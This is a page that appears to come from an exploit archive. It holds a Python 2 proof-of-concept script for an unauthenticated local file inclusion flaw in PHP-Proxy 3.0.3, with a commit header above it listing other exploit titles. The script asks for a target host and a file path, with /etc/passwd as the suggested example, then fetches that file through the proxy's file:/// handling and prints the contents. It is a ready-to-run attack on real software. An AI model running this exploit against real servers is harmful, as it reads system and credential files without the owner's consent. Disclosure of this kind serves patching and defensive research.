363500a603
13 changes to exploits/shellcodes Softros LAN Messenger 9.2 - Denial of Service (PoC) Microsoft Internet Explorer 11 - Null Pointer Dereference LiquidVPN 1.36 / 1.37 - Privilege Escalation Intel (Skylake / Kaby Lake) - 'PortSmash' CPU SMT Side-Channel SiAdmin 1.1 - 'id' SQL Injection Advantech WebAccess SCADA 8.3.2 - Remote Code Execution WebVet 0.1a - 'id' SQL Injection Virgin Media Hub 3.0 Router - Denial of Service (PoC) Poppy Web Interface Generator 0.8 - Arbitrary File Upload Mongo Web Admin 6.0 - Information Disclosure PHP Proxy 3.0.3 - Local File Inclusion Royal TS/X - Information Disclosure Voovi Social Networking Script 1.0 - 'user' SQL Injection
33 lines
No EOL
1 KiB
Python
Executable file
33 lines
No EOL
1 KiB
Python
Executable file
# Exploit Title: PHP-Proxy 3.0.3 - Local File Inclusion
|
|
# Date: 04.11.2018
|
|
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
|
|
# Contact: https://pentest.com.tr
|
|
# Vendor Homepage: https://www.php-proxy.com/
|
|
# Software Link: https://github.com/Athlon1600/php-proxy-app
|
|
# Version: v3.0.3
|
|
# Category: Webapps
|
|
# Tested on: XAMPP for Linux
|
|
# Description: Any user can read files from the server
|
|
# without authentication due to an existing LFI in the following path:
|
|
# http://target/index.php?q=file:///[FilePath]
|
|
|
|
# PoC
|
|
|
|
#!/usr/bin/python
|
|
|
|
import urllib2, httplib, sys
|
|
|
|
print "\n[*] PHP-Proxy 3.0.3 LFI PoC By AkkuS"
|
|
print "[*] My Blog - https://www.pentest.com.tr\n"
|
|
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
|
|
if (len(sys.argv) != 2):
|
|
print "[*] Usage: poc.py <target_ip/domain>"
|
|
exit(0)
|
|
ip_add = sys.argv[1]
|
|
|
|
fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')
|
|
|
|
print "Exploiting....."
|
|
print '\n'
|
|
URL = "http://" + ip_add + "/index.php?q=file:///" + fd + ""
|
|
print urllib2.urlopen(URL).read() |